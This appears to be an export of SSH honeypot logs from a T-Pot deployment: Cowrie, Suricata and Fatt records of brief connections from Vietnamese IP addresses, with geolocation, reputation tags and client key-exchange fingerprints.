22553	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.778333+03	2021-09-20 14:15:06.361471+03	{"_id": "KwbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45932 (192.168.176.2:22) [session: 445b8725efc6]", "session": "445b8725efc6", "@version": "1", "protocol": "ssh", "src_port": 45932, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.778333Z", "@timestamp": "2021-09-20T11:07:03.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22554	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.957321+03	2021-09-20 14:15:06.36247+03	{"_id": "LAbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59544 (192.168.176.2:22) [session: e630dcd0d392]", "session": "e630dcd0d392", "@version": "1", "protocol": "ssh", "src_port": 59544, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.957321Z", "@timestamp": "2021-09-20T11:07:03.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22555	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.121375+03	2021-09-20 14:15:06.36347+03	{"_id": "LQbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:54150 (192.168.176.2:22) [session: 58adb1fd9c37]", "session": "58adb1fd9c37", "@version": "1", "protocol": "ssh", "src_port": 54150, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.121375Z", "@timestamp": "2021-09-20T11:07:04.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22556	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.021725+03	2021-09-20 14:15:06.36447+03	{"_id": "KgbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fb1ccce9b35a", "@version": "1", "duration": 2.707984685897827, "timestamp": "2021-09-20T11:07:04.021725Z", "@timestamp": "2021-09-20T11:07:04.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22557	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:04.233195+03	2021-09-20 14:15:06.36647+03	{"_id": "WAbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2091923604466231, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59544, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.233195Z", "@timestamp": "2021-09-20T11:07:04.233Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22558	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:07.490875+03	2021-09-20 14:15:06.367471+03	{"_id": "OQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60034 (192.168.176.2:22) [session: 6cf2d482c0d0]", "session": "6cf2d482c0d0", "@version": "1", "protocol": "ssh", "src_port": 60034, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.490875Z", "@timestamp": "2021-09-20T11:07:07.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22559	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.131399+03	2021-09-20 14:15:06.368471+03	{"_id": "HQbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5c82696c63bc", "@version": "1", "timestamp": "2021-09-20T11:07:08.131399Z", "@timestamp": "2021-09-20T11:07:08.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22560	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:06.986295+03	2021-09-20 14:15:06.37047+03	{"_id": "QAbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47844, "timestamp": "2021-09-20T11:07:06.986295", "@timestamp": "2021-09-20T11:07:06.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22561	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:06.986534+03	2021-09-20 14:15:06.37147+03	{"_id": "QQbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.986534", "@timestamp": "2021-09-20T11:07:06.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22562	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:07.761859+03	2021-09-20 14:15:06.37247+03	{"_id": "QgbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60034, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.761859", "@timestamp": "2021-09-20T11:07:07.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22563	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:07.762796+03	2021-09-20 14:15:06.37347+03	{"_id": "QwbjAnwBvYTbRNuEYAfr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60034, "timestamp": "2021-09-20T11:07:07.762796", "@timestamp": "2021-09-20T11:07:07.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22606	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:10.422826+03	2021-09-20 14:15:06.429502+03	{"_id": "yQbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ac1aa31e4b57", "@version": "1", "duration": 2.4556150436401367, "timestamp": "2021-09-20T11:07:10.422826Z", "@timestamp": "2021-09-20T11:07:10.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
